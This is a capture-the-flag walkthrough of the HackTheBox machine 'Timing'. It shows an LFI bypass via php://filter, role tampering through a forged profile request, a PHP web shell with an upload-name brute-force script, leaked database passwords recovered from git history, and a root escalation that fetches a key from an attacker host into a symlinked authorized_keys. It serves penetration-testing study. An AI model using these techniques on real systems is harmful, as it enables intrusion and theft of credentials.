Timing - [HTB]

Cover Image for Timing - [HTB]
Marmeus
Marmeus

Introduction

Timing is a medium Linux machine from HackTheBox where you will have to find an LFI in order to analyse the web source code, finding a programmer failure that will allow you to upload a web shell. Then, enumerating the machines, you will find a git repository with different credentials on its versions. Finally, you will have to use symbolic links in order to overwrite the root's authorised keys file.

Enumeration

Let's start scanning all opened ports in the box with Nmap.

kali@kali:~/Documents/HTB/Timing$ nmap -vv -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.135
Warning: 10.10.11.135 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.135
Host is up, received echo-reply ttl 63 (0.045s latency).
Scanned at 2021-12-24 05:38:13 EST for 51s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Dec 24 05:39:04 2021 -- 1 IP address (1 host up) scanned in 51.30 seconds

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:~/Documents/HTB/Timing$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80 10.10.11.135
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-24 05:41 EST
Nmap scan report for 10.10.11.135
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
|   256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_  256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Simple WebApp
|_Requested resource was ./login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds

Having a look at the web page and its source code, there is nothing is interesting.

Timing web page

Furthermore, enumerating files, we can see that image.php is the only file with size 0 and doesn't redirect us to the login page. Maybe, it requires a parameter to show information.

kali@kali:~/Documents/HTB/Timing$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x asp,aspx,html,php,txt,py,bak,doc,js -t 40 -o GoBuster.txt -u http://10.10.11.135/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.135/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              py,bak,js,asp,aspx,html,php,txt,doc
[+] Timeout:                 10s
===============================================================
2021/12/24 05:39:31 Starting gobuster in directory enumeration mode
===============================================================
/profile.php          (Status: 302) [Size: 0] [--> ./login.php]
/index.php            (Status: 302) [Size: 0] [--> ./login.php]
/images               (Status: 301) [Size: 313] [--> http://10.10.11.135/images/]
/image.php            (Status: 200) [Size: 0]                                    
/header.php           (Status: 302) [Size: 0] [--> ./login.php]                  
/login.php            (Status: 200) [Size: 5609]                                 
/footer.php           (Status: 200) [Size: 3937]                                 
/upload.php           (Status: 302) [Size: 0] [--> ./login.php]                  
/css                  (Status: 301) [Size: 310] [--> http://10.10.11.135/css/]   
/js                   (Status: 301) [Size: 309] [--> http://10.10.11.135/js/]    
/logout.php           (Status: 302) [Size: 0] [--> ./login.php] 

With Ffuz we can obtain the required parameter img.

kali@kali:~/Documents/HTB/Timing$ ffuf -w /usr/share/wordlists/wfuzz/general/common.txt -t 60 -u http://10.10.11.135/image.php?FUZZ=/etc/passwd

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.135/image.php?FUZZ=/etc/passwd
 :: Wordlist         : FUZZ: /usr/share/wordlists/wfuzz/general/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 60
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response size: 0
________________________________________________

img                     [Status: 200, Size: 25, Words: 3, Lines: 1]
:: Progress: [951/951] :: Job [1/1] :: 1342 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

Trying to access the URL appears an alert.

kali@kali:~/Documents/HTB/Timing$ curl http://10.10.11.135/image.php?img=/etc/passwd 
Hacking attempt detected!

This can be easily bypassed by using the php filter.

kali@kali:~/Documents/HTB/Timing$ curl -s http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash

Using "aaron" as username and password we can access the web page.

Aaron credentials

As we can see we are logged as user 2, but the only thing we can do is edit our profile.

Edit profile

Exploitation 1

Using the LFI in order to analyse the web source code, we can see that in the file profile_update.php we can update our role which didn't appear in the profile form.

curl http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=profile_update.php | base64 -d 

[...]
   if ($user !== false) {                                                                     
        ini_set('display_errors', '1');
        ini_set('display_startup_errors', '1');
        error_reporting(E_ALL);

        $firstName = $_POST['firstName'];
        $lastName = $_POST['lastName']; 
        $email = $_POST['email'];
        $company = $_POST['company'];
        $role = $user['role'];

        if (isset($_POST['role'])) {
            $role = $_POST['role'];
            $_SESSION['role'] = $role;
    }
[...]

Looking further we can see that in the file upload.php appears and admin_auth_check.php.

kali@kali:~/Documents/HTB/Timing$ curl http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=upload.php 2>/dev/null | base64 -d                                                                         
<?php   
include("admin_auth_check.php");
                                       
$upload_dir = "images/uploads/";
[...]

This file is checking if we have set our role to 1.

kali@kali:~/Documents/HTB/Timing$ curl -s http://10.10.11.135//image.php?img=php://filter/convert.base64-encode/resource=admin_auth_check.php | base64 -d 
<?php

include_once "auth_check.php";

if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
    echo "No permission to access this panel!";
    header('Location: ./index.php');
    die();
}

?>

To update our role, we only need to intercept "Edit profile" request and add role=1 at the end.

POST /profile_update.php HTTP/1.1
Host: 10.10.11.135
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 52
Origin: http://10.10.11.135
Connection: close
Referer: http://10.10.11.135/profile.php
Cookie: PHPSESSID=l925ka2ijpn37gbb7k2cn4s03f

firstName=test&lastName=test&email=test&company=test&role=1

Now, we can upload the images.

image-20211224130808218

Exploitation 2

However, we do not have access to the /images/uploads/ directory, so we need to know the exact name to access it.

kali@kali:~$ curl -L http://10.10.11.135/images/uploads/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.29 (Ubuntu) Server at 10.10.11.135 Port 80</address>

If we keep analysing the upload.php code meticulously, we can see the md5 parameters. The variable $file_hash is between single quotes so that PHP will interpret that as a string, not a variable. Hence, the md5 will always be a combination of "$file_hash" + <TIMESTAMP>.

Furthermore, the code only checks the file's extension, so we can upload PHP code with the jpg extension that will later be interpreted thanks to the LFI.

<?php   
include("admin_auth_check.php");
                                       
$upload_dir = "images/uploads/";                                                                                                                              

if (!file_exists($upload_dir)) {
    mkdir($upload_dir, 0777, true);
}

$file_hash = uniqid();

$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

if (isset($_POST["submit"])) {
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if ($check === false) {
        $error = "Invalid file";
    }
}

// Check if file already exists
if (file_exists($target_file)) {
    $error = "Sorry, file already exists.";
}

if ($imageFileType != "jpg") {
    $error = "This extension is not allowed.";
}

if (empty($error)) {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file has been uploaded.";
    } else {
        echo "Error: There was an error uploading your file.";
    }
} else {
    echo "Error: " . $error;
}
?>

Because the Apache server sends its date in the response headers, we can create a python script that will upload a file and then brute force the filename thanks to the response time to obtain the URL of our file.

Note: Do not forget to change your PHPSESSID.

#sws.jpg
# <?php system($_GET['cmd']); ?>

import requests
from dateutil import parser
import hashlib

UPLOAD_DIR = "images/uploads/"
FILENAME = "sws.jpg"  
URL="http://10.10.11.135/upload.php"


files = {'fileToUpload': open(FILENAME,'rb')}
cookies = {'PHPSESSID':'<YOUR_PHPSSEID>'} 
r = requests.post(URL,files=files, cookies=cookies)

date=r.headers['date']
date = parser.parse(date)
timestamp=int(date.timestamp())
print(timestamp)
# Going to the past 15 seconds
timestamp = timestamp - 15

for i in range(0, 30):
    seed = '$file_hash'+str(timestamp)
    filename  = hashlib.md5(seed.encode()).hexdigest()+'_'+FILENAME
    print(filename)
    url = "http://10.10.11.135:80/images/uploads/"+filename
    status = requests.get(url).status_code
    if status != 404:
        print(url)
        exit(0)
    timestamp = timestamp +i 

Once executed the script, we obtain where our web shell is located.

kali@kali:~/Documents/HTB/Timing$ python3 fileBruteForce.py 
1640646022
18193e0007abbf23983397dddc0a7183_sws.jpg
18193e0007abbf23983397dddc0a7183_sws.jpg
d18f43ee806a457c51a5bd07d7596ca3_sws.jpg
6951071c4215d2ff6f3bcec40ed7edd8_sws.jpg
d0b81c0b68f99ad648db4332c92db759_sws.jpg
177078881d8b85a467020bc363607763_sws.jpg
ed2697b4be1a51fd5fc11428881b5cf1_sws.jpg
http://10.10.11.135:80/images/uploads/ed2697b4be1a51fd5fc11428881b5cf1_sws.jpg

However, at first glance, it doesn't execute.

kali@kali:~/Documents/HTB/Timing$ curl "http://10.10.11.135:80/images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg?cmd=id"
<?php system($_GET['cmd']); ?>

So, we need to use the LFI to make it work.

kali@kali:~/Documents/HTB/Timing$ curl "http://10.10.11.135/image.php?img=images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg&cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Because some iptables rules reject all traffic for the apache user (You know that once you have become root on the machine), we can not create reverse shells, and the enumeration must be through the web shell.

There is a backup file /opt/source-files-backup.zip that we can download with the following commands.

curl "http://10.10.11.135/image.php?img=images/uploads/ac651b5d6059ced62efac274033283cc_sws.jpg&cmd=base64+/opt/source-files-backup.zip" > /tmp/b64; base64 -d /tmp/b64 > source-files-backup.zip
kali@kali:~/Documents/HTB/Timing/$ unzip source-files-backup.zip
kali@kali:~/Documents/HTB/Timing/backup$ ls -la
total 39
drwxrwx--- 1 root vboxsf 4096 Dec 27 17:58 .
drwxrwx--- 1 root vboxsf 4096 Dec 28 06:00 ..
-rwxrwx--- 1 root vboxsf  200 Dec 27 17:58 admin_auth_check.php
-rwxrwx--- 1 root vboxsf  373 Dec 27 17:58 auth_check.php
-rwxrwx--- 1 root vboxsf 1268 Dec 27 17:58 avatar_uploader.php
drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 css
-rwxrwx--- 1 root vboxsf   96 Dec 27 17:58 db_conn.php
-rwxrwx--- 1 root vboxsf 3937 Dec 27 17:58 footer.php
drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 .git
-rwxrwx--- 1 root vboxsf 1498 Dec 27 17:58 header.php
-rwxrwx--- 1 root vboxsf  507 Dec 27 17:58 image.php
drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 images
-rwxrwx--- 1 root vboxsf  188 Dec 27 17:58 index.php
drwxrwx--- 1 root vboxsf    0 Dec 27 17:58 js
-rwxrwx--- 1 root vboxsf 2074 Dec 27 17:58 login.php
-rwxrwx--- 1 root vboxsf  113 Dec 27 17:58 logout.php
-rwxrwx--- 1 root vboxsf 3041 Dec 27 17:58 profile.php
-rwxrwx--- 1 root vboxsf 1740 Dec 27 17:58 profile_update.php
-rwxrwx--- 1 root vboxsf  984 Dec 27 17:58 upload.php

Because it has a .git folder we can enumerate its commits, discovering the database's password differs from the init commit and using the latter we can log in as aaron through SSH, obtaining the user flag.

kali@kali:~/Documents/HTB/Timing/backup$ git log --oneline
16de269 (HEAD -> master) db_conn updated
e4e2146 init

kali@kali:~/Documents/HTB/Timing/backup$ cat db_conn.php 
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');


kali@kali:~/Documents/HTB/Timing/backup$ git checkout -f  e4e2146 

kali@kali:~/Documents/HTB/Timing/backup$ cat db_conn.php                        
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', 'S3cr3t_unGu3ss4bl3_p422w0Rd');

Privilege Escalation

Aaron is able to execute a bash script as root which executes a .jar file that we can not analyse because is under the root directory.

aaron@timing:~$ sudo -l
Matching Defaults entries for aaron on timing:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User aaron may run the following commands on timing:
    (ALL) NOPASSWD: /usr/bin/netutils
    
aaron@timing:~$ cat /usr/bin/netutils
#! /bin/bash
java -jar /root/netutils.jar

Using the HTTP options it downloads and saves the file as root.

aaron@timing:~$ sudo /usr/bin/netutils 
netutils v0.1                                                  
Select one option:                                                              
[0] FTP                                                            
[1] HTTP                                                       
[2] Quit                                                           
Input >> 1                                                        
Enter Url: http://10.10.14.177/hola.html
Initializing download: http://10.10.14.177/hola.html
File size: 7 bytes                     
Opening output file hola.html
Server unsupported, starting from scratch with one connection.
Starting download                      

Downloaded 7 byte in 0 seconds. (0.03 KB/s)

aaron@timing:~$ ls -l
total 16
-rw-r--r-- 1 root  root     7 Dec 27 23:59 hola.html
-rw-r----- 1 root  aaron   33 Dec 27 23:41 user.txt

Hence, if we create a symbolic link to the root's authorized keys it will overwrite it.

aaron@timing:~$ ln -s  /root/.ssh/authorized_keys id_rsa.pub
aaron@timing:~$ ls -l
total 16
-rw-r--r-- 1 root  root     7 Dec 27 23:59 hola.html                           
lrwxrwxrwx 1 aaron aaron   26 Dec 28 00:00 id_rsa.pub -> /root/.ssh/authorized_keys
-rw-r----- 1 root  aaron   33 Dec 27 23:41 user.txt 

In order to make it work, create an SSH key pair and start a web server.

kali@kali:/tmp/pruebas$ ssh-keygen                                             
Generating public/private rsa key pair.                                        
Enter file in which to save the key (/home/kali/.ssh/id_rsa): id_rsa           
Enter passphrase (empty for no passphrase):                                    
Enter same passphrase again:                                                   
Your identification has been saved in id_rsa                                   
Your public key has been saved in id_rsa.pub                                   
The key fingerprint is:                                                        
SHA256:JNJY8AGHcadlvCocZWHvgp6raj7oAb80Fj+miR1x9Ho kali@kali                   
The key's randomart image is:                                                  
+---[RSA 3072]----+                                                            
|    +=Bo+        |                                                            
|    .OoB.        |                                                            
|    +o= o.       |                                                            
|   ..+ +.        |
|. o.o.o.S        |
|.. *oo..         |
|..* B.E          |
|.B.B +           |
|*+B..            |
+----[SHA256]-----+
kali@kali:/tmp/pruebas$ ls
hola.html  id_rsa  id_rsa.pub
kali@kali:/tmp/pruebas$ python -m SimpleHTTPServer 80 
Serving HTTP on 0.0.0.0 port 80 ...

Then access to the public key using the netutils tools.

netutils v0.1
Select one option:
[0] FTP
[1] HTTP
[2] Quit
Input >> 1
Enter Url: http://10.10.14.177/id_rsa.pub
Initializing download: http://10.10.14.177/id_rsa.pub
File size: 563 bytes
Opening output file id_rsa.pub
Server unsupported, starting from scratch with one connection.
Starting download

Finally, once downloaded you will be able to access the machine as root.

kali@kali:/tmp/pruebas$ ssh -i id_rsa root@10.10.11.135
root@timing:~# cat /root/root.txt 
[CENSORED]